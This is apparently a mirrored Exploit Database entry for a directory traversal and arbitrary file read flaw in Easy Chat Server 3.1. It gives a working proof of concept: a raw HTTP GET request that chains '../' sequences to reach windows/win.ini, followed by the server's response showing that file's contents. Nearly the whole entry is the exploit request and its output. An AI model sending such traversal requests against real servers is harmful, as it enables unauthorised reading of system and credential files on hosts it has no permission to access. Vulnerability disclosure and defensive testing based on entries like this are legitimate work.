Easy Chat Server 3.1 – Directory Traversal and Arbitrary File Read

• Exploit Database
• 13 阅读

• 作者： z4nd3r
  日期： 2021-10-21
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50437/

• # Exploit Title: Easy Chat Server 3.1 - Directory Traversal and Arbitrary File Read
  # Date: 11 October 2021
  # Exploit Author: z4nd3r
  # Vendor Homepage: http://www.echatserver.com/
  # Software Link: http://www.echatserver.com/
  # Version: 3.1
  # Tested on: Windows 10 Pro Build 19042, English
  #
  # Description: 
  # The web server allows for directory traversal and reading of arbitrary files on the
  #system, given that the account running the server can access the target file.
  
  
  Proof-of-concept using Burp:
  
  Request:
  
  GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
  Host: 192.168.50.52
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: close
  Upgrade-Insecure-Requests: 1
  
  ----------------------------------------
  
  Response:
  
  HTTP/1.0 200 OK
  Date: Thu, 21 Oct 2021 14:55:57 GMT
  Server: Easy Chat Server/1.0
  Accept-Ranges: bytes
  Content-Length: 92
  Connection: close
  Content-Type: text/html
  
  ; for 16-bit app support
  [fonts]
  [extensions]
  [mci extensions]
  [files]
  [Mail]
  MAPI=1